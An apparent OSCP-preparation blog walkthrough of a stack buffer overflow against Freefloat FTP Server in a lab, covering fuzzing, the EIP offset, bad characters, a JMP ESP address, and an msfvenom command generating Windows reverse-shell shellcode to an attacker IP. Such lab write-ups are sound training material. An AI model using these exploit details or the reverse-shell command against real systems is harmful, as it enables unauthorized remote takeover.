Freefloat FTP Remote Buffer Overflow

60 Days of OSCP labs have come and gone. That was fast and honestly, probably not enough time. I made it through the entire PDF and was able to compromise several machines on the OSCP lab network but I might end up purchasing another 15-30 days for Windows priv-esc practice. My exam is scheduled for the beginning of September and in the meantime, I am working on buffer overflows. I think that’s where the next few posts are going to focus on because once you start to understand them, it’s so much damn fun!

The rest of this post is going to focus on the Freefloat FTP Remote Buffer Overflow. This is a basic Stack overflow that is about as simple as it gets. In the next post, we will look at SEH overflows.

[hr]

System Information:

Victim: Windows XP SP3 running Freefloat FTP

Attacker: Kali 2017.2 PWK 32 bit version

[hr]

FTP Fuzzing:

As with all the BOF’s that I will be going through, I will be using Python3 as my language of choice. We could manually probe the FTP server but, what’s the fun in that… We want to use python to do most of the legwork for us. We know that the USER parameter is vulnerable but, let’s not assume anything at this time. Let’s actually fuzz the application.

Note: When I say Fuzz, I mean send incrementing packets of data to the USER and PASS FTP parameters to see if we overflow and crash the application.

User FTP Parameter Fuzzing

After we sent 300 Bytes of A’s, the FTP server crashed. Let’s take a look at Immunity to see if we overwrite the EIP register with the A’s that we sent.

EIP Overwrite

Perfect, EIP is now 41414141 and since 0x41 = A, we have successfully overwritten the EIP register.

[hr]

Observing the Overflow and Controlling EIP:

We have overflown the USER FTP parameter and have overwritten the EIP register with 0x41 (A). The next step is to find the offset of the EIP register in order to gain full control of it to obtain code execution. Let’s start building our python script.

Let’s first generate a unique string using pattern_create.rb so we can obtain the offset of the EIP register.  We know the overflow happened around 300 Bytes so, we will use that as our string length.

Generate String with pattern_create.rb

Now we will add that string to our Python script:

Restart the FTP server in Immunity and send the new payload. After sending the payload, take a look at the EIP value as that is going to be the value we will use to find out EIP offset.

EIP Offset

The EIP value is 37684136. We can then feed this into pattern_offset.rb to get our true EIP offset.

EIP Offset

The EIP offset is 230 which means we now need to check if we, in fact, have full control over the EIP register. We will do this by sending 230 A’s and 4 B’s followed by 500 C’s. This data should overflow the buffer with the A’s, write only B’s to the EIP register, and then write arbitrary C’s after. The C’s are important as they will dictate whether we can use the space after the overflow to add our exploit shellcode. We’ll look at that in a second.

Again, restart the FTP server in Immunity and send the new payload.

Full control of EIP

Looking at the value of EIP, we see it’s 0x42 which is B. Awesome! We have full control over EIP. The next thing we want to look at is the number of C’s that were written after we overwrote the EIP register. We can do this very easily with Immunity by double-clicking the first memory address that contains C’s and following the C’s until they terminate. This will give us the Hex value of the total number of C’s within the buffer.

In my case, the C’s stop at 0x1F0 which in base 10 is 496. This means we have 496 Bytes of available space to place our exploit. A usual exploit is around 250-350 Bytes so, we have more than enough room.

[hr]

Checking for Bad Characters:

Before we can continue, we should check for bad characters. Applications can at times have specific use cases for different characters and as such, we need to check for those bad characters as they may hinder our exploit code from working. The python script now has functionality that creates all the characters, adds them to the buffer overflow payload, and saves the characters to a binary file that will be used by the Python Mona script to look for known bad characters.

Note 0x00, 0x0a, and 0x0d are common bad characters so we exclude those from the very beginning.

The buffer has been overflown and now we can check for the bad characters using the mona script.

Bad Character Results

The only bad characters found are those we removed from the beginning. We will make sure to exclude those characters when building our shellcode.

[hr]

Finding JMP ESP:

Let’s go back to us having control over EIP. Long story short, EIP holds the address of the next instruction to be executed (i.e. Instruction Pointer). That means in order for our shellcode to be executed concurrently with the overflow happening, we need to make damn well sure that the EIP points to the location in memory where our shellcode will be located. This is the tricky part due to multithreading and dynamic memory address allocation meaning memory addresses change all the time! But, we know that we are writing our shellcode directly to the Stack and as long as we can get back to the bottom of the stack (i.e. ESP) our shellcode can execute.

Our goal:

  • Find a JMP ESP instruction that has a static address (Commonly in DLL’s), has no bad characters within its memory address, and does not have ASLR or DEP protections.

Fortunately for us, Mona makes this a breeze.

  1. First, let’s look at the modules that have been loaded for this FTP server and check to see if there are any that are unprotected.

    Find Modules with Mona

  2. Find the Opcode of JMP ESP

    Find opcode of JMP ESP

  3. Search for JMP ESP in the module and record the memory address

    Find JMP ESP in SHELL32.dll

We found that SHELL32.dll module was being used and does not have ASLR protection. We then found the opcode of JMP ESP in order to search for the instruction. We then searched for the JMP ESP instruction within the SHELL32.dll module and found several possible addresses. Remember, we need an address that does not contain bad characters. In this case, I will use the first memory address 0x7cbd51fb.

[hr]

Verify JMP ESP Execution:

Before generating shellcode, we should verify that we have successfully changed the execution flow to make the EIP execute the JMP ESP instruction within the SHELL32.dll. We will do this by overwriting EIP with the memory address of the JMP ESP instruction and then, once again, writing C’s thereafter. The difference being, we will place a breakpoint at the JMP ESP memory address to verify that the program pauses and therefore proves we have redirected code execution.

Note the memory address 0x7cbd51fb has to be translated into little endian (i.e. Least Significant bit to Most Significant bit). Review this if this is new to you.

  1. Place the Breakpoint by selecting memory address and hitting F2.

    Add Breakpoint

  2. Amend the Python script to overwrite EIP with the JMP ESP address.
  3. Execute and verify program pause at JMP ESP proving we now have full control.

[hr]

Generating our Exploit Shellcode:

The last thing we need to do is generate our shellcode, add it to the Python script, and catch the shell!

  1. Generate shellcode with msfvenom (remember to exclude the bad characters 0x00, 0x0a, 0x0d).
    1. msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=192.168.56.131 LPORT=443 -b ‘\x00\x0A\x0D’ -f c

      Generate Shellcode

  2. Copy shellcode to Python Script.

Let’s talk about the shellcode for a second (THIS IS IMPORTANT). When we generated the shellcode we had to exclude the bad characters from the payload and that means encoding the payload. In this instance, the payload was encoded with Shikata Ga Nai as can be seen in the image above. This is not a problem however, the process flow is going to be a bit different in that the shellcode has not only our exploit in it, it also has a decoding instruction set to decode our exploit. That decoding needs a bit of extra space at the beginning of the exploit and as such, we pad the payload with 20 NOP bytes (\x90). The \x90’s are ignored and are what is called a NOP sled. The program will run as usual and just ignore the \x90’s. Now, let’s set up a listener and run our exploit.

Exploit and Catch Shell

No Comments

Post a Comment